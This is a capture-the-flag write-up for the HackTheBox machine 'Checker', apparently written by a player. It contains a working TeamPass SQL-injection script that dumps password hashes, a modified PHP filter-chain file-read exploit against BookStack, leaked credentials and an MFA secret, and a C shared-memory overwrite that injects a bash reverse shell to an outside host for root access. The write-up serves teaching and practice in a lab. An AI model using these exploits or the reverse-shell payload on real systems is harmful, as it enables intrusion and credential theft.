Checker Writeup

This HackTheBox machine has a TeamPass and Bookstack server on it on different ports. Using an SQL injection against the Teampass server results in credentials against SSH for 'reader' and Bookstack for 'Bob'. The SSH has MFA enabled, so inside of Bookstack there is another vuln for local file read via Blind SSRF, which can be used to get the MFA secret for reader. Privilege Escalation is done by overwriting Shared Memory for a program that runs occasionally as root user that is using the Shared Memory to store commands.

Enumeration

#Command
nmap -p- --min-rate=10000 -o portscan.nmap 10.10.11.56

#Output
Nmap scan report for 10.10.11.56
Host is up (0.082s latency).
Not shown: 65444 closed tcp ports (reset), 88 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 16.89 seconds
#Command
nmap -sC -sV -p 22,80,8080 --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" -o scriptscan.nmap 10.10.11.56

#Output
Nmap scan report for checker.htb (10.10.11.56)
Host is up (0.076s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
| http-title: BookStack
|_Requested resource was http://checker.htb/login
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache
8080/tcp open  http    Apache httpd
|_http-title: Teampass
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerating the websites it was noted:

On port 8080 there is an instance of Teampass, and on port 80 there is an instance of BookStack.

Searching for vulnerabilities there is a Teampass SQLi vulnerability from Snyk: (Code is pulled straight from the Snyk Website)

if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in `seq 0 $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

Running this bash script against the teampass instance results in a hash for bob, who after cracking the hash allows for entry into teampass. Inside of teampass there is credentials for the BookStack, and SSH. So there are three new credentials from this vulnerability.

Teampass:
bob:cheerleader

bookstack:
[email protected]:mYSeCr3T_w1kI_P4sSw0rD

ssh:
reader:hiccup-publicly-genesis

The ssh credentials work, but there is an extra step with a verification code. More needs to be done before we can access ssh.

Enumerating the BookStack it is version 23.10.2, and there is an LFR vuln against this version of BookStack. https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/

This specific attack requires a number of changes inside of the php_filter_chains_oracle attack. https://github.com/synacktiv/php_filter_chains_oracle_exploit

#Update the code for creating phpfilter chain
filter_chain_php = f'php://filter/{s} {self.in_chain}/resource={self.file_to_leak}'
filter_chain = "<img+src='data:image/png;base64," + base64.b64encode(filter_chain_php.encode('utf-8')).decode('utf-8') + "'/>"

#Update to stop from URL encoding the packet
merged_data = "html=" + filter_chain

Once the changes in the exploit are made it can be run and will do an error based attack against the machine. Here is the command to run LFR exploit - All of the data needs to be updated based on the target and the generated cookies/XSRF tokens.

python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/etc/passwd' --verb PUT --parameter html --proxy http://localhost:8080 --headers '{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0","X-CSRF-TOKEN":"euEvcZ9uly9Y5z7m4chbKv9NV2sooOuCn5M4us5X","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IkFvdGsrclNVYW9QN0VONHdQVVc4Mnc9PSIsInZhbHVlIjoiYjlmaU5aUFZZaldSUWZpdkIrdm83ZEhpa1EwNThZOFJkQUR5SHJ6UVA4bWRSdk1nL0pjckZwZVZBRDJDZkNhajdlait1NFJaYUozUk56UVRxZkFmL2Vkak1XQnRwVU1aVExvTjU3V1hYOXZKdjZzWDdLU3JKZnB0S2JpZ1grUXoiLCJtYWMiOiJmODBkMDlkNmE1NmNmZjdjNzNmNjg4Y2UwYjA3MDZlYmMxNTQyZjFhYTc2ZGQ2MWUyZWNmMjc5MmFiNWZlMDU1IiwidGFnIjoiIn0%3D"}'

Here are some of the files that were exfiltrated. I did this using offsets and saving the output of the script running as there were many errors while running.

Dumping .env for bookstack laravel: (Data doesn't end up being relevant.)

# Database details
DB_HOST=localhost
DB_DATABASE=bookstack_db
DB_USERNAME=bookstack
DB_PASSWORD=pK8HK7IHCKLCNHUJ7

Dumped some lines off of /etc/pam.d/sshd. Dumping these lines was done to see if the way the verification codes for ssh were setup. These lines were enough to figure it out.

auth required pam_google_authenticator.so nullok
auth required pam_permit.so

Dumped the end of /etc/passwd

reader:x:1000:1000::/home/reader:/bin/bash

Inside of Bookstack one of the books mentions an insecure method of backing up the home folder. Its strange that this is in there, but this is the script

#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

mkdir -p $DESTINATION
cp -r --remove-destination --no-preserve=mode,ownership $SOURCE $DESTINATION/

Using this as a basis, trying to dump the 2FA codes out of the folder /backup/home_backup/home/reader/.google_authenticator works like a charm.

DVDBRAODLCWF7I2ONA4K5LQLUE

Inputting this into a Google Authenticator app (I used my phone) allows for creating TOTP codes, and allows us to be able to login to reader over ssh (Their password is in the teampass instance, but we needed a verification code to login.) and get the user.txt flag.

Upon logging in and doing some enumeration there is a command that can be run by reader as root:

#Command
sudo -l

#Output
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

Inside of the /opt/hash-checker folder there is the check-leak.sh script that calls a binary file called check-leak, which was exfiltrated and analyzed using Ghidra.

The binary file essentially did one thing. It made an SQL request to mysql to grab all of the hashes from a user based on username, and then it would compare all of these hashes to hashes inside of a file leaked_hashes.txt inside of the same folder. If a hash was compared and matched it would store that has temporarily inside of shared memory, and then use that to create another mysql query to run to inform the user.

The first thing I wanted to do was see what was inside of this shared memory, as I noticed that it was sent to a popen call without much filtering of the content.

With some help from AI I was able to create a set of code to read the SHM based on a key, creating a small bash script to automate this later.

#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <shared_memory_key>\n", argv[0]);
        exit(1);
    }

    // Read the shared memory key from the command line argument
    key_t key = strtol(argv[1], NULL, 16);  // Convert from hex string to integer (e.g., 0x12345678)
    if (key == (key_t)-1) {
        perror("Invalid key");
        exit(1);
    }

    // Allocate shared memory segment (ensure the size matches the target memory)
    int shmid = shmget(key, 1024, 0666);  // Size is 1024 bytes, adjust as necessary
    if (shmid == -1) {
        perror("shmget failed");
        exit(1);
    }

    // Attach to the shared memory segment
    char *shm = (char *)shmat(shmid, NULL, 0);
    if (shm == (char *)-1) {
        perror("shmat failed");
        exit(1);
    }

    // Print original content of shared memory
    printf("Original Shared Memory Content: %s\n", shm);

    // Detach from the shared memory segment
    if (shmdt(shm) == -1) {
        perror("shmdt failed");
        exit(1);
    }

    return 0;
}

The key of any shared memory item can be obtained with a bash command

ipcs -m

Automating the shared memory processes so that it will quickly use the key to read the memory I can exfiltrate what is being stored when the check_hashes.sh script is run.

Leaked hash detected at Tue Feb 25 18:55:29 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

The string above is formatted by removing the section "Leaked hash detected at Tue Feb 25 18:55:29 2025 >" and then sending the hash "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" in this case to a call to popen. In Ghidra this looks like this:

__haystack = (char *)shmat(__shmid,(void *)0x0,0); // Grab data from shared memory

...

pcVar4 = strstr(__haystack,"Leaked hash detected"); // Trim the string.

...

snprintf(pcVar4,(long)(iVar2 + 1),"mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'",param_2,param_4,HASH); //format the mysql request

__stream = popen(pcVar4,"r"); // send the request to bash.

This can be exploited by rewriting the HASH section so that it is instead a command. This is done with a strings like '; /bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.16.3/9002 0>&1\";# as shown in the code section below. There are also some bash scripts below that I used to automate the processes. (Don't forget to compile the program below which I named edit_memory.c with gcc -o edit_memory edit_memory.c)

#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <shared_memory_key>\n", argv[0]);
        exit(1);
    }

    // Read the shared memory key from the command line argument
    key_t key = strtol(argv[1], NULL, 16);  // Convert from hex string to integer (e.g., 0x12345678)
    if (key == (key_t)-1) {
        perror("Invalid key");
        exit(1);
    }

    // Allocate shared memory segment (ensure the size matches the target memory)
    int shmid = shmget(key, 1024, 0666);  // Size is 1024 bytes, adjust as necessary
    if (shmid == -1) {
        perror("shmget failed");
        exit(1);
    }

    // Attach to the shared memory segment
    char *shm = (char *)shmat(shmid, NULL, 0);
    if (shm == (char *)-1) {
        perror("shmat failed");
        exit(1);
    }

    // Print original content of shared memory
    printf("Original Shared Memory Content: %s\n", shm);

    //';touch /etc/pwned
    strncpy(shm, "Leaked hash detected at Tue Feb 25 18:55:29 2025 > '; /bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.16.3/9002 0>&1\";#", 1024);

    //Print new shm
    printf("New Shared Memory Content: %s\n", shm);

    // Detach from the shared memory segment
    if (shmdt(shm) == -1) {
        perror("shmdt failed");
        exit(1);
    }

    return 0;
}

Bash script to run the shared memory overwrite. (I called this script.sh)

addr=$(ipcs -m | grep 0x | cut -d " " -f1)
echo $addr
./edit_memory $addr

To get the shared memory to be written a user with a password that is in the leaked_hashes.txt to be used, as this gets passwords from teampass the only user we know with a weak password in teampass is bob and that works. I set this to run 1000 times so that I would have time to run the other script to get the shared memory overwrite.

for i in {1..1000}; do sudo /opt/hash-checker/check-leak.sh bob; done

Then the script to overwrite the shared memory and get command injection can be found here: Running this 10 times quickly nearly guarantees that the memory is overwritten.

for i in {1..10}; do ./script.sh; done

Then having netcat listening results in a root shell.

nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.56] 33004
root@checker:/opt/hash-checker# cd /root
cd /root
root@checker:~# ls
ls
root.txt
root@checker:~# cat root.txt
<ROOT FLAG>

Note: to make this exploit work several things need to be happening at once. The edit_memory.c file needs to be compiled and needs to be inside of the same directory as the script.sh. Both need to have executable permissions. Then the script to run the 1000 runs of check-leak.sh needs to be started in a new shell, while in another shell the 10 calls to script.sh need to be called with a netcat listener. It works well when all the pieces are in place but it requires several pieces working in tandem.